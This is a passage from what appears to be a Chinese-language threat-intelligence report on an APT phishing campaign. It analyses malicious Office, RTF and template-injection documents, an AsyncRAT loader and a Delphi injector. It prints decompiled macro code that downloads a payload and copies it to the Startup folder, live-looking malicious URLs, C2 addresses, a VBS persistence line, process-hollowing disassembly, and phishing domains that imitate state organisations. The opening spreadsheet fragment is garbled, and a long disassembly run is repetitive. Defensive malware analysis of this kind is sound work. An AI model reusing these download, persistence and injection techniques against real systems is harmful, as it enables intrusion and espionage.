#ERROR? | ### | # | #NAME? | | | 25 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | #ERROR? | ### | # | #NAME? | | | 26 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | #ERROR? | ### | # | #NAME? | | | 27 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | #ERROR? | ### | # | #NAME? | | | 28 | ???? | #NAME? | #ERROR? | #ERROR? | #ERROR? | #ERROR? | ### | # | #NAME? | | 可以看到 VT 上的查杀率极低: {22}------------------------------------------------ Image:Screenshot of a file analysis interface showing two files.The first file, 'Project progress update.docm', is marked as 'One engine detected this file' with a score of 1/60.The second file, 'Annexure Project requirement.xls', is marked as 'No engines detected this file' with a score of 0/58.Both files are shown with their names, sizes, and upload dates. **File 1:** Project progress update.docm One engine detected this file Score:1/60 Size:25.55 KB Date:2020-08-24 10:14:18 UTC (8 days ago) Format:.docx **File 2:** Annexure Project requirement.xls No engines detected this file Score:0/58 Size:111.00 KB Date:2020-08-27 09:10:54 UTC (5 days ago) Format:.xls 样本的主要功能为从远程服务器下载 payload，并将 payload 拷贝到 startup 目录下： ``` QuoteRem 0x0000 0x001B "sPathUser = Environ$("TMP")" Line #24: LitStr 0x000B "USERPROFILE" ArgsLd Environ$ 0x0001 LitStr 0x000B "\Downloads\" Concat St sPathUser1 Line #25:Line #26: LitStr 0x0033 "http://authowawebmailgo.com/update/images/image.php" Ld sPathUser1 LitStr 0x000B "\msgngs.zip" Concat ArgsLd DownloadFile 0x0002 St y Line #27:Line #28: LitStr 0x000B "USERPROFILE" ArgsLd Environ$ 0x0001 LitStr 0x000B "\Downloads\" Concat LitStr 0x000B "\msgngs.zip" Concat LitStr 0x000B "USERPROFILE" ArgsLd Environ$ 0x0001 LitStr 0x000B "\Downloads\" Concat LitStr 0x000B "\msgngs.exe" Concat ArgsCall FileCopy 0x0002 Line #29:Line #30: LitStr 0x000B "USERPROFILE" ArgsLd Environ$ 0x0001 LitStr 0x000B "\Downloads\" Concat LitStr 0x000B "\msgngs.zip" Concat ArgsCall Kill 0x0001 Line #31:Line #32:Line #33: LitStr 0x000B "USERPROFILE" ArgsLd Environ$ 0x0001 LitStr 0x000B "\Downloads\" Concat LitStr 0x000B "\msgngs.exe" Concat LitStr 0x0007 "APPDATA" ArgsLd Environ 0x0001 LitStr 0x002F "\Microsoft\Windows\Start Menu\Programs\Startup\" Concat LitStr 0x000B "\msgngs.exe" Concat ArgsCall FileCopy 0x0002 ``` 相关 URL 如下： {23}------------------------------------------------ http://authowawebmailgo.com/securemail.auth/hello.jpg 下载的 Image.png 为.net 编写的 DeMnu 混淆器。 ``` [assembly:AssemblyVersion("1.0.0.0")] [assembly:AssemblyCompany("beilin")] [assembly:Guid("bbf012eb-1f3b-433e-acc2-b745d914ae45")] [assembly:AssemblyFileVersion("1.0.0.0")] [assembly:RuntimeCompatibility(WrapNonExceptionThrows = true)] [assembly:AssemblyCopyright("版权所有 (C) beilin 2009")] [assembly:AssemblyProduct("txtbook")] [assembly:TargetFramework(".NETFramework.Version=v4.0", FrameworkDisplayName = ".NET Framework 4")] [assembly:Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)] [assembly:AssemblyTitle("txtbook")] [assembly:AssemblyDescription("")] [assembly:ComVisible(false)] [assembly:CompilationRelaxations(8)] [assembly:AssemblyTrademark("")] ``` 加载 Polyloader 后最终运行 AsyncRat, C2 与上述一致, hello.jpg 由 VB 编写, 弹出提示框, 迷惑用户: ![A screenshot of a Windows application window titled 'Project1'.The window contains the text 'running' and a button labeled '确定' (OK).](ca81500b365ed30190cb2d9c38fc1f84_img.jpg) A screenshot of a Windows application window titled 'Project1'.The window contains the text 'running' and a button labeled '确定' (OK). ## RTF 恶意文档分析 | 文件名 | MD5 | 类型 | |-------------------------------------|----------------------------------|-----| | letter to ADP for clearance of CRVs | 4e548b5597f995b42decd7591ba4212e | RTF | | 20200720.doc | | | RTF 内嵌了一个 DeMnu 混淆器 {24}------------------------------------------------ ``` 2:0E10h:AA CC FF 12 | 02 00 00 00 | 08 00 00 00 | 50 61 63 6B | *Iÿ.....Pack 2:0E20h:61 67 65 00 | 00 00 00 00 | 00 00 00 00 | CC BB 10 00 | age.....Ï»...2:0E30h:02 00 7E 41 | 30 30 31 32 | 45 31 33 38 | 2E 65 78 65 |..~A0012E138.exe 2:0E40h:00 43 3A 5C | 55 73 65 72 | 73 5C 6E 33 | 6F 5C 41 70 |.C:\Users\n3o\Ap 2:0E50h:70 44 61 74 | 61 5C 4C 6F | 63 61 6C 5C | 4D 69 63 72 | pData\Local\Micr 2:0E60h:6F 73 6F 66 | 74 5C 57 69 | 6E 64 6F 77 | 73 5C 49 4E | osoft\Windows\IN 2:0E70h:65 74 43 61 | 63 68 65 5C | 43 6F 6E 74 | 65 6E 74 2E | etCache\Content.2:0E80h:57 6F 72 64 | 5C 7E 41 30 | 30 31 32 45 | 31 33 38 2E | Word\~A0012E138.2:0E90h:65 78 65 00 | 00 00 03 00 | 56 00 00 00 | 43 3A 5C 55 | exe.....V...C:\U 2:0EA0h:73 65 72 73 | 5C 6E 33 6F | 5C 41 70 70 | 44 61 74 61 | sers\n3o\AppData 2:0EB0h:5C 4C 6F 63 | 61 6C 5C 54 | 65 6D 70 5C | 7B 39 37 31 |\Local\Temp\{971 2:0EC0h:42 46 43 31 | 42 2D 35 32 | 37 38 2D 34 | 31 44 45 2D | BFC1B-5278-41DE- 2:0ED0h:41 46 45 37 | 2D 30 37 37 | 30 35 38 37 | 33 39 34 42 | AFE7-0770587394B 2:0EE0h:37 7D 5C 7E | 41 30 30 31 | 32 45 31 33 | 38 2E 65 78 | 7}\~A0012E138.ex 2:0EF0h:65 00 90 B9 | 10 00 | | e... ``` ![Screenshot of a file explorer window showing the contents of a file named 'Crashreporter.exe'.The file is a PE (Portable Executable) format.The directory structure shows several files:'AbRnQ7GE6T6FdT8ilX', 'IEvvP527hKlyWurxnH', 'JF1g8xk9kvCumMj6nR', 'sn8RkNUAebRg8D76TI', 'txtbook', 'txtbook.My', and 'Yg1ZAesAllZ2GJpPPQ'.](71dea59c7a8cc6669fcce714dca70021_img.jpg) Screenshot of a file explorer window showing the contents of a file named 'Crashreporter.exe'.The file is a PE (Portable Executable) format.The directory structure shows several files:'AbRnQ7GE6T6FdT8ilX', 'IEvvP527hKlyWurxnH', 'JF1g8xk9kvCumMj6nR', 'sn8RkNUAebRg8D76TI', 'txtbook', 'txtbook.My', and 'Yg1ZAesAllZ2GJpPPQ'. 执行流程与上述相似，最终会访问 authowawebmailgo.com/securemail.auth/c.html，而当我们分析时已无法访问，尚不清楚后续的具体信息。 ## 模板注入攻击文件分析 | 文件名 | MD5 | 类型 | |-----------------------------------|----------------------------------|--------| | Adviser Senior Director eysd.docx | 7b2b6e47e33dddce7406fc989592ab50 | Doc 文档 | 文档内容如下： {25}------------------------------------------------ ###### No.T&CP-9/28/2020 Ministry of Foreign Affairs (Training & CP Section)\*\*\*\*\* Islamabad, the 18^th August, 2020 ### **CIRCULAR** Subject:**Vacancy Notification from the Commonwealth Secretariat for the Post of Adviser, Senior Director, EYSD** Pahic London has informed regarding the vacancy position for the post of Adviser, Senior Director, Economic, Youth and Sustainable Development Directorate (EYSD) announced by the Commonwealth Secretariat.The last date for receipt of applications is **Friday 28 August, 2020**. 2.The Commonwealth Secretariat is seeking individuals meeting the following criteria: #### **Education:** - Master's Degree on an equivalent post-graduate qualification in International Development, Management, Economics, Public Policy or a related discipline.- Specialist training and knowledge of project/programme management methods, for example Prince 2, PMP, MSP, P3O or equivalent would be an advantage #### **Experience:** - At least 10 years working experience in one or more of the following areas:project management, planning, monitoring, budgeting, evaluation, and co-ordination of the offices of senior government officials or ministers - Experience of project management and applying project management methodologies, including technical and complex IT projects, ideally in an international organization - Experience of successful application of budgeting and resource allocation procedures - Experience of operating in a fast paced environment and delivering quality results within short timescales - Experience of pre-empting and solving complex projects and operations - Experience of working effectively and collaborating with colleagues at all levels as well as 内容为外交部招聘相关信息，模板注入地址如下： settings.xml rels /attachedTemplate" Target="http://the-moondelight.96.it/checking/secure/office/update/LK7378872" T 由于 LK7378872 文档没有下载到，但是通过沙箱我们找到了最终释放的 payload | 文件名 | MD5 | 类型 | |-----------|----------------------------------|----| | mldll.exe | 72503d7ef52495efa109941274b8769f | PE | 下载的样本为 DeMnu 混淆器的变种，执行逻辑稍有变化，左为本次样本逻辑，右为 SFX 和宏样本中的 DeMnu 混淆器逻辑 {26}------------------------------------------------ ![Hex dump of a file showing various system DLL names like kernel32.dll, user32.dll, and others, indicating a polyloader structure.](397d7c5f170e27a78f44fd8a5b0a234b_img.jpg) Hex dump of a file showing various system DLL names like kernel32.dll, user32.dll, and others, indicating a polyloader structure. 解密出来的 DLL 依然为 Polyloader ``` C# code snippet showing Form1_Load method and a button click handler (Form1.CaFS0s0XSDsTisexpQq).It includes references to Form1.Wzci0Wot4Ve9ayrJCkT and Form1.w0fxi000esj2q0S2t6H.``` | 变量 | 值 | 类型 | |-------------------------------------------|------------------|--------| | Notepad_SP_form1.VCXoms8mC0m0Xt6s0GfHm 返回 | byte[0x00017E01] | byte[] | | [0] | 0x4D | byte | | [1] | 0x5A | byte | | [2] | 0x90 | byte | | [3] | 0x00 | byte | | [4] | 0x03 | byte | | [5] | 0x00 | byte | | [6] | 0x00 | byte | | [7] | 0x00 | byte | | [8] | 0x04 | byte | Polyloader 如下: {27}------------------------------------------------ ![Screenshot of a debugger showing the memory layout of a process.The process is named 'Pj (0.0.0.0)'.The memory layout shows a 'Pj.dll' module at the top, followed by a 'P' section at 0x0000004.The 'P' section contains a '基类型和接口' (Base Type and Interface) block, which includes a '派生类型' (Derived Type) block.The '派生类型' block contains several function pointers:'.ctor():void@0600000B', 'P():void@0600000C', 'DeleteFile(string):bool@0600000E', 'Extract(string):byte[]@06000010', 'main():void@0600000D', 'P():void@0600000F', 'PolyDeCrypt(ref byte[], string, uint):byte[]@06000011', and a series of string pointers from '\u0001:string@04000004' to '\u0006:Random@04000009'.Below this is a 'NetRun' section at 0x02000005, and a '\u0002' section at 0x02000006, which contains a '基类型和接口' block and a '派生类型' block.](cce1f4715971176232d2f8cf7b80acf7_img.jpg) Screenshot of a debugger showing the memory layout of a process.The process is named 'Pj (0.0.0.0)'.The memory layout shows a 'Pj.dll' module at the top, followed by a 'P' section at 0x0000004.The 'P' section contains a '基类型和接口' (Base Type and Interface) block, which includes a '派生类型' (Derived Type) block.The '派生类型' block contains several function pointers:'.ctor():void@0600000B', 'P():void@0600000C', 'DeleteFile(string):bool@0600000E', 'Extract(string):byte[]@06000010', 'main():void@0600000D', 'P():void@0600000F', 'PolyDeCrypt(ref byte[], string, uint):byte[]@06000011', and a series of string pointers from '\u0001:string@04000004' to '\u0006:Random@04000009'.Below this is a 'NetRun' section at 0x02000005, and a '\u0002' section at 0x02000006, which contains a '基类型和接口' block and a '派生类型' block. ### 内存加载 AsyncRat ![Screenshot of a debugger showing the memory layout of a process.The process is named 'Pj (0.0.0.0)'.The memory layout shows a 'Pj.dll' module at the top, followed by a 'P' section at 0x0000004.The 'P' section contains a '基类型和接口' (Base Type and Interface) block, which includes a '派生类型' (Derived Type) block.The '派生类型' block contains several function pointers:'.ctor():void@0600000B', 'P():void@0600000C', 'DeleteFile(string):bool@0600000E', 'Extract(string):byte[]@06000010', 'main():void@0600000D', 'P():void@0600000F', 'PolyDeCrypt(ref byte[], string, uint):byte[]@06000011', and a series of string pointers from '\u0001:string@04000004' to '\u0006:Random@04000009'.Below this is a 'NetRun' section at 0x02000005, and a '\u0002' section at 0x02000006, which contains a '基类型和接口' block and a '派生类型' block.](ac4da3ce8896f1f13e0706723ea0470d_img.jpg) ``` 56 IL_00:57 Settings.Anti = Settings.aes256.Decrypt(Settings.Anti); 58 Settings.BD03 = Settings.ypaIBsyAWTIIWhedx(Settings.aes256, Settings.BD03); 59 Settings.Group = Settings.aes256.Decrypt(Settings.Group); 60 Settings.Host = YFOATAPITPHT7ITV_000341gug(); 61 Settings.ServerSignature = Settings.ypaIBsyAWTIIWhedx(Settings.aes256, Settings.ServerSignature); 62 Settings.ServerCertificate = new X509Certificate2(Convert.FromBase64String(Settings.aes256.Decrypt(Settings.Certificate))); 63 run = 6; ``` | 名称 | 值 | 类型 | |-----------------------------------------------------------|--------------------------------------------------------------------|---------------------------------| | result | false | bool | | Settings.Ports | "4567" | string | | Settings.Hosts | "fiesta.kozow.com" | string | | Settings-ServerCertificate | [[Subject CN=AsyncRAT Server [Issuer CN=AsyncRAT Server...] | System.Security.Cryptography...| | CertContext (System.Security.Cryptography.X509Certific...| System.Security.Cryptography.X509Certificates.SafeCertContextH... | System.Security.Cryptography...| | CertContext | System.Security.Cryptography.SafeCertContextHandle | System.Security.Cryptography...| | Extensions | System.Security.Cryptography.X509Certificates.X509ExtensionColl...| System.Security.Cryptography...| | FriendlyName | "*" | string | | Handle | 0x06EBC608 | System.IntPtr | | HasPrivateKey | false | bool | | Issuer | "CN=AsyncRAT Server" | string | | SubjectName | System.Security.Cryptography.X509Certificates.X500Distinguishe... | System.Security.Cryptography...| | NotAfter (System.Security.Cryptography.X509Certificate...| (9999/12/31 23:59:59) | System.DateTime | | NotBefore (System.Security.Cryptography.X509Certificat...| (2020/7/13 15:17:46) | System.DateTime | | NotBefore | (2020/7/13 15:17:46) | System.DateTime | | PrivateKey | null | System.Security.Cryptography...| | PublicKey | System.Security.Cryptography.X509Certificates.PublicKey | System.Security.Cryptography...| | RawData | byte[0x000004f6] | byte[] | | RawData | byte[0x000004f6] | byte[] | | SerialNumber (System.Security.Cryptography.X509Certifi...| "00827593843DC41AC674EA5021879CF5" | string | | SerialNumber | "00827593843DC41AC674EA5021879CF5" | string | | SignatureAlgorithm | System.Security.Cryptography.Oid | System.Security.Cryptography...| | Subject | "CN=AsyncRAT Server" | string | | SubjectName | System.Security.Cryptography.X509Certificates.X500Distinguishe... | System.Security.Cryptography...| | Thumbprint | "01E2B1E0F3FD0FD0171E4BA3B528A85577C48FFA" | string | | Version | 0x00000003 | int | | m_certContextCloned | false | bool | | m_extensions | System.Security.Cryptography.X509Certificates.X509ExtensionColl...| System.Security.Cryptography...| Screenshot of a debugger showing the memory layout of a process.The process is named 'Pj (0.0.0.0)'.The memory layout shows a 'Pj.dll' module at the top, followed by a 'P' section at 0x0000004.The 'P' section contains a '基类型和接口' (Base Type and Interface) block, which includes a '派生类型' (Derived Type) block.The '派生类型' block contains several function pointers:'.ctor():void@0600000B', 'P():void@0600000C', 'DeleteFile(string):bool@0600000E', 'Extract(string):byte[]@06000010', 'main():void@0600000D', 'P():void@0600000F', 'PolyDeCrypt(ref byte[], string, uint):byte[]@06000011', and a series of string pointers from '\u0001:string@04000004' to '\u0006:Random@04000009'.Below this is a 'NetRun' section at 0x02000005, and a '\u0002' section at 0x02000006, which contains a '基类型和接口' block and a '派生类型' block. 相关 C2:fiesta.kozow.com:4567 {28}------------------------------------------------ 服务器证书相关信息如下： Subject:CN=AsyncRAT Server Thumbprint:DEE2B1E9F3FD0FD8171648A3B528A85577C49FFA SerialNumber:00B27593843DC41AC674EA5021879CF5 而另一个模板注入样本如下 | 文件名 | MD5 | 类型 | |-----------------|----------------------------------|--------| | mal testin.docx | 47568de42706aa3da39a03d1d0feddca | Doc 文档 | 文档内容与新冠病毒有关： ![Screenshot of Microsoft Word showing a document titled 'mal testin [兼容模式]'.The document contains text about COVID-19 in China and Pakistan, with several words underlined in red, including 'Gilgit-Baltistan', 'Covid', 'Riaz', 'Ashtar', and 'Tablighi Jamat'.The Word interface shows the 'Home' tab with 'Normal' selected in the font color dropdown.](a4f8ab9085cf6977168da3fa62e04b7e_img.jpg) First CPEC and Now Covid - China:Gilgit-Baltistan's Growing Woes. Gilgit-Baltistan (G-B), in proportion to population, has the highest number of Covid-China cases in Pakistan.So far, 607 people have tested positive in a territory with less than one and half million people.Heroes like Dr.Osama Riaz and paramedic Malik Ashtar who unfortunately died while performing duties without virus protective kits have become a source to galvanize society.Locals blame the authorities for committing criminal negligence by not transporting Dr.Osama to Islamabad to save his life.Dismal economic condition and lack of preparedness could lead to more deaths in coming weeks.. G-B is not a constitutional part of Pakistan and therefore survives on financial handouts from Islamabad.Locals including the Chief Minister, Hafiz Rehman, blames Islamabad for denying adequate funds to cope with the Covid-China situation.Islamabad continues to reject provisions of protective gear with the excuse of fund shortage.Medical professionals are still not sure about exact scope of positive cases as many people remain undetected due to faulty testing kits.Authorities warn that Islamic devotees returning from the Tablighi Jamat congregation could stimulate local virus transmission.. Locals are yet to benefit from the medical aid which military helicopters collect from the Chinese officials at the Khunierav Pass.There is only one testing centre for the entire Screenshot of Microsoft Word showing a document titled 'mal testin [兼容模式]'.The document contains text about COVID-19 in China and Pakistan, with several words underlined in red, including 'Gilgit-Baltistan', 'Covid', 'Riaz', 'Ashtar', and 'Tablighi Jamat'.The Word interface shows the 'Home' tab with 'Normal' selected in the font color dropdown. 其模板注入地址为： {29}------------------------------------------------ ``` settings.xml.rels get="http://the-moondelight.96.it/latest/version/secure/download/IN4447832" TargetMode="External" ``` IN4447832 为带有 11882 漏洞的 RTF 文档: ![VirusTotal file analysis for IN4447832 showing 23/60 engines detected it as a trojan.The file is a RTF document with a community score of 23/60.Tags include:cve-2017-11882, executes-dropped-file, exploit, ope-link, rtf.](08f8008fb9fa9c6225c75645620bb459_img.jpg) VirusTotal file analysis for IN4447832 showing 23/60 engines detected it as a trojan.The file is a RTF document with a community score of 23/60.Tags include:cve-2017-11882, executes-dropped-file, exploit, ope-link, rtf. 从远程服务器 ([http://the-moondelight.96\[.\]it/windw-sec/append](http://the-moondelight.96.it/windw-sec/append)) 下载 payload | 文件名 | MD5 | 类型 | |--------|----------------------------------|-------| | append | b96fe909c2d2f458abf71665ce1bb1ef | PE 文件 | | Append | 4cc8577c844e2492840aed08876eb1c4 | PE 文件 | 样本包含 PDB 信息如下: ``` C:\Users\W7H64\Desktop\VCSamples- master\VC2008Samples\crt\SecureCRT\before\Debug\SCRTbefore.pdb ``` 服务器上的样本疑似经过了一次替换，新替换的样本去掉了 PDB，通过 PDB 可知投递的 payload 是一款名为 SecureCRT 的付费远程控制软件。 {30}------------------------------------------------ ### SecureCRT® SecureCRT client for Windows, Mac, and Linux provides rock-solid terminal emulation for computing professionals, raising productivity with advanced session management and a host of ways to save time and streamline repetitive tasks.SecureCRT provides secure remote access, file transfer, and data tunneling for everyone in your organization. ![Screenshot of the SecureCRT application interface.The main window shows a terminal session with a list of commands and their outputs.Overlaid on the main window is the 'Button Bar Manager' dialog box, which is used to customize the toolbar.The dialog shows options for 'Standard' and 'Advanced' button bar configurations, with various color-coded buttons available for selection.The main terminal window also shows a 'General Session Settings' dialog box with a 'Play' button, suggesting a recording or playback feature.](045c7af3c493369642487e4d52e15065_img.jpg) Screenshot of the SecureCRT application interface.The main window shows a terminal session with a list of commands and their outputs.Overlaid on the main window is the 'Button Bar Manager' dialog box, which is used to customize the toolbar.The dialog shows options for 'Standard' and 'Advanced' button bar configurations, with various color-coded buttons available for selection.The main terminal window also shows a 'General Session Settings' dialog box with a 'Play' button, suggesting a recording or playback feature. Whether you are replacing Telnet or Terminal, or need a more capable secure remote access tool, SecureCRT is an application you can live in all day long.With the solid security of SSH, extensive session management, and advanced scripting, SecureCRT will help raise your productivity to the nth degree. C2 为：23.82.140.14:433，通过 C2 还能关联到另一个 RTF 文档,疑似模板注入的后续 | 文件名 | MD5 | 类型 | |--------|----------------------------------|-----| | gather | 6d7d69e897351f6af2399bfdcf00983a | RTF | 下回来的相关文档内容如下： {31}------------------------------------------------ ![Screenshot of a word processor ribbon showing various text formatting options like bold, italic, underline, and different font styles.](1ce750ac0d53b8e532abdeabf7740611_img.jpg) Screenshot of a word processor ribbon showing various text formatting options like bold, italic, underline, and different font styles. Microsoft Corporation is an American multinational technology company with headquarters in Redmond, Washington.It develops, manufactures, licenses, supports, and sells computer software, consumer electronics, personal computers, and related services.Its best known software products are the Microsoft Windows line of operating systems, the Microsoft Office suite, and the Internet Explorer and Edge web browsers.Its flagship hardware products are the Xbox video game consoles and the Microsoft Surface lineup of touchscreen personal computers.In 2016, it was the world's largest software maker by revenue (currently Alphabet/Google has more revenue).[3] The word "Microsoft" is a portmanteau of "microcomputer" and "software".[4] Microsoft is ranked No.30 in the 2018 Fortune 500 rankings of the largest United States corporations by total revenue.[5] Microsoft was founded by Bill Gates and Paul Allen on April 4, 1975, to develop and sell BASIC interpreters for the Altair 8800.It rose to dominate the personal computer operating system market with MS-DOS in the mid-1980s, followed by Microsoft Windows.The company's 1986 initial public offering (IPO), and subsequent rise in its share price, created three billionaires and an estimated 12,000 millionaires among Microsoft employees.Since the 1990s, it has increasingly diversified from the operating system market and has made a number of corporate acquisitions, their largest being the acquisition of LinkedIn for\$26.2 billion in December 2016,[6] followed by their acquisition of Skype Technologies for\$8.5 billion in May 2011.[7] As of 2015, Microsoft is market-dominant in the IBM PC compatible operating system market and the office software suite market, although it has lost the majority of the overall operating system market to Android.[8] The company also produces a wide range of other consumer and enterprise software for desktops, laptops, tabs, gadgets, and servers, including Internet search (with Bing), the digital services market (through MSN), mixed ITW:[http://karlsuites\[.\]com/word/update/gather](http://karlsuites.com/word/update/gather) ### Dephi 注入器我们在“魔罗砂”APT 组织的钓鱼攻击活动涉及的域名下发现了带有 payload 的压缩包。在对样本进行分析前，我们需要对钓鱼活动中用于攻击的域名进行简单分析。 jspsessionindex.com 经常被用于钓鱼活动，曾经对中国多个重点单位进行攻击，目前有友商认为这是蔓灵花使用的攻击域名，但我们根据邮件直接证据以及域名的命名方式发现组织归属有待商榷，在行动总结章节末尾已经给出了我们的解释。 | 子域名 | 目标 | |-------------------------------------------------------------|---------| | mail.cass.org.cn.login.to.continue24354.jspsessionindex.com | 中国社会科学院 | {32}------------------------------------------------ | | | |------------------------------------------------------------|--------------| | mail.spacestar.com.cn.jspsessionindex.com | 航天恒星 | | ecatic.cn.coremail xt5.jspsessionindex.com | 中航技进出口有限责任公司 | | login.mail.csoc.cn.coremail xt5.jspsessionindex.com | 中国船贸 | | login.mail.chinaships.com.coremail xt5.jspsessionindex.com | 中国船舶 | | www.mail.cetci.com.cn.coremail.jspsessionindex.com | 中国电子科技集团 | | avicintl.cn.coremail xt3.jspsessionindex.com | 中航国际 | 其还会伪装成新浪、163、126 的邮件，进行更加通用的攻击 | 子域名 | 伪装对象 | |---------------------------------------------------|--------| | login.mail.126.com.hhwwebmail.jspsessionindex.com | 126 邮箱 | | login.mail.163.com.hhwwebmail.jspsessionindex.com | 163 邮箱 | | auth.mail.sina.com.cn.jspsessionindex.com | 新浪邮箱 | 除此之外，我们还发现了伪装成印度《星期日卫报》新闻网站的钓鱼域名 | 子域名 | 目标 | |---------------------------------------------------|-------| | www.thesundayguardianlive.com.jspsessionindex.com | 星期日卫报 | 尚不清楚这么做的原因，但是印度《星期日卫报》由政治家 MJ Akbar 创立，现隶属于印度人民党，该域名可能被用于攻击印度的不同党派者。回到样本层面，如下表格的 URL 所示，该域名 url 含有一个 zip 压缩包。样本信息如下： | 文件名 | MD5 | ITW | |---------------------|--------------|--------------------------------------------------------------------------| | Programmable | f66d98a61 | https://jspsessionindex.com/jsp_sessionidHLD9823rye09YHDYDo8y32/Programm | | Logic Control (PLC) | c5b00423da7c | able%20Logic%20Control%20(PLC)%20System.zip | | System.zip | 7adf028cd0a | | 压缩包内容如下： {33}------------------------------------------------ | 名称 | 大小 | 压缩后大小 | 修改时间 | |--------------------------------------------------------------------------------------------|-----------|---------|------------------| |

Image:PDF icon

Programmable Logic Control (PLC) System.pdf | 587 240 | 520 959 | 2020-07-09 20:41 | |

Image:EXE icon

Revised Programmable Logic Control (PLC) System.exe | 1 124 352 | 803 968 | 2020-07-14 13:23 | PDF 已损坏，压缩包中带有损坏的文档和一个可执行文件，这种手法 APT28 也用过，凑巧的是可执行文件同样由 Dephi 语言编写： ![Screenshot of a PDF viewer showing an error message:'错误未能加载 PDF 文档。' (Error:Failed to load PDF document.) with a '重新加载' (Reload) button.](eadd8abb2c85161842bcd823881cbe5f_img.jpg) Screenshot of a PDF viewer showing an error message:'错误未能加载 PDF 文档。' (Error:Failed to load PDF document.) with a '重新加载' (Reload) button. | 文件名 | MD5 | 编译器 | |-----------------------------------------------------|----------------------------------|-----------| | Revised Programmable Logic Control (PLC) System.exe | 9d9ea8060ca29139803dc7e0dc7d183c | Dephi 注入器 | 第一次运行时会执行持久化操作，将自身拷贝到%appdata%/data 目录下，并在启动目录释放 Msgr.exe.vbs 文件： ``` set rbQCnbNZRLnAiWc = CreateObjEct("Wscipt.Shell") rbqcnBNzRLnaIwC.rUN ""C:\Users\...\AppData\Roaming\DATA\Msgr.exe""", 0, False ``` 核心逻辑在创建的线程中，通过出发异常的形式执行恶意代码，存在大量的花指令 {34}------------------------------------------------ [illegible] 主要功能解密 shellcode 并执行, shellcode 会解密一个 PE, 进行进程替换操作, 我们将其命名为 Ssphi Injector ``` 00400000 004068AA 6A 04 push 4 00400000 004068AC 68 00 30 00 00 push 3000h 00400000 004068B1 68 00 10 00 00 push 1000h 00400000 004068B6 53 push ebx 00400000 004068BB FF 97 80 00 00 00 call dword ptr [edi+80h] ; VirtualAlloc 00400000 004068BD 89 F4 mov [ebp+var_C], eax 00400000 004068C0 3B C2 cmp eax, ebx 00400000 004068C2 0F 84 B1 EF FF FF jz loc_467879 00400000 004068C8 8D 45 DC lea eax, [ebp+var_24] 00400000 004068CC 50 push eax 00400000 004068C8 8D 45 88 lea eax, [ebp+var_78] 00400000 004068CF 50 push eax 00400000 004068D0 53 push ebx 00400000 004068D1 53 push ebx 00400000 004068D2 6A 04 push 4 00400000 004068D4 53 push ebx 00400000 004068D5 53 push ebx 00400000 004068D6 53 push ebx 00400000 004068D7 8D 85 80 FD FF FF lea eax, [ebp+var_280] 00400000 004068DB 50 push eax 00400000 004068DE 53 push ebx 00400000 004068DF FF 57 50 call dword ptr [edi+50h] ; CreateProcessW 00400000 004068E2 89 D4 mov [ebp+var_2C], eax 00400000 004068E5 3B C3 cmp eax, ebx 00400000 004068E7 0F 84 35 F3 FF FF jz loc_467C22 00400000 004068ED 8B 45 F4 mov eax, [ebp+var_C] 00400000 004068F8 C7 00 02 00 01 00 mov dword ptr [eax], 10002h 00400000 004068F6 8B 46 34 mov eax, [esi+34h] 00400000 004068F9 50 push eax 00400000 004068FA FF 75 DC push [ebp+var_24] 00400000 004068FD 89 D0 mov [ebp+var_30], eax 00400000 00406900 FF 57 5C call dword ptr [edi+5Ch] ; ZwUnmapViewofSection 00400000 00406903 89 5D 5C mov [ebp+var_14], ebx 00400000 00406906 FF 76 50 push dword ptr [esi+50h] 00400000 00406909 8D 45 EC lea eax, [ebp+var_14] 00400000 0040690C 50 push eax 00400000 0040690D 57 push edi 00400000 0040690E E8 18 EB FF FF call sub_46742B 00400000 00406913 83 C4 0C add esp, 0Ch 00400000 00406916 77 push esi 00400000 00406917 77 push esi 00400000 00406918 77 push esi 00400000 00406919 77 push esi 00400000 0040691A 77 push esi 00400000 0040691B 77 push esi 00400000 0040691C 77 push esi 00400000 0040691D 77 push esi 00400000 0040691E 77 push esi 00400000 0040691F 77 push esi 00400000 00406920 77 push esi 00400000 00406921 77 push esi 00400000 00406922 77 push esi 00400000 00406923 77 push esi 00400000 00406924 77 push esi 00400000 00406925 77 push esi 00400000 00406926 77 push esi 00400000 00406927 77 push esi 00400000 00406928 77 push esi 00400000 00406929 77 push esi 00400000 0040692A 77 push esi 00400000 0040692B 77 push esi 00400000 0040692C 77 push esi 00400000 0040692D 77 push esi 00400000 0040692E 77 push esi 00400000 0040692F 77 push esi 00400000 00406930 77 push esi 00400000 00406931 77 push esi 00400000 00406932 77 push esi 00400000 00406933 77 push esi 00400000 00406934 77 push esi 00400000 00406935 77 push esi 00400000 00406936 77 push esi 00400000 00406937 77 push esi 00400000 00406938 77 push esi 00400000 00406939 77 push esi 00400000 0040693A 77 push esi 00400000 0040693B 77 push esi 00400000 0040693C 77 push esi 00400000 0040693D 77 push esi 00400000 0040693E 77 push esi 00400000 0040693F 77 push esi 00400000 00406940 77 push esi 00400000 00406941 77 push esi 00400000 00406942 77 push esi 00400000 00406943 77 push esi 00400000 00406944 77 push esi 00400000 00406945 77 push esi 00400000 00406946 77 push esi 00400000 00406947 77 push esi 00400000 00406948 77 push esi 00400000 00406949 77 push esi 00400000 0040694A 77 push esi 00400000 0040694B 77 push esi 00400000 0040694C 77 push esi 00400000 0040694D 77 push esi 00400000 0040694E 77 push esi 00400000 0040694F 77 push esi 00400000 00406950 77 push esi 00400000 00406951 77 push esi 00400000 00406952 77 push esi 00400000 00406953 77 push esi 00400000 00406954 77 push esi 00400000 00406955 77 push esi 00400000 00406956 77 push esi 00400000 00406957 77 push esi 00400000 00406958 77 push esi 00400000 00406959 77 push esi 00400000 0040695A 77 push esi 00400000 0040695B 77 push esi 00400000 0040695C 77 push esi 00400000 0040695D 77 push esi 00400000 0040695E 77 push esi 00400000 0040695F 77 push esi 00400000 00406960 77 push esi 00400000 00406961 77 push esi 00400000 00406962 77 push esi 00400000 00406963 77 push esi 00400000 00406964 77 push esi 00400000 00406965 77 push esi 00400000 00406966 77 push esi 00400000 00406967 77 push esi 00400000 00406968 77 push esi 00400000 00406969 77 push esi 00400000 0040696A 77 push esi 00400000 0040696B 77 push esi 00400000 0040696C 77 push esi 00400000 0040696D 77 push esi 00400000 0040696E 77 push esi 00400000 0040696F 77 push esi 00400000 00406970 77 push esi 00400000 00406971 77 push esi 00400000 00406972 77 push esi 00400000 00406973 77 push esi 00400000 00406974 77 push esi 00400000 00406975 77 push esi 00400000 00406976 77 push esi 00400000 00406977 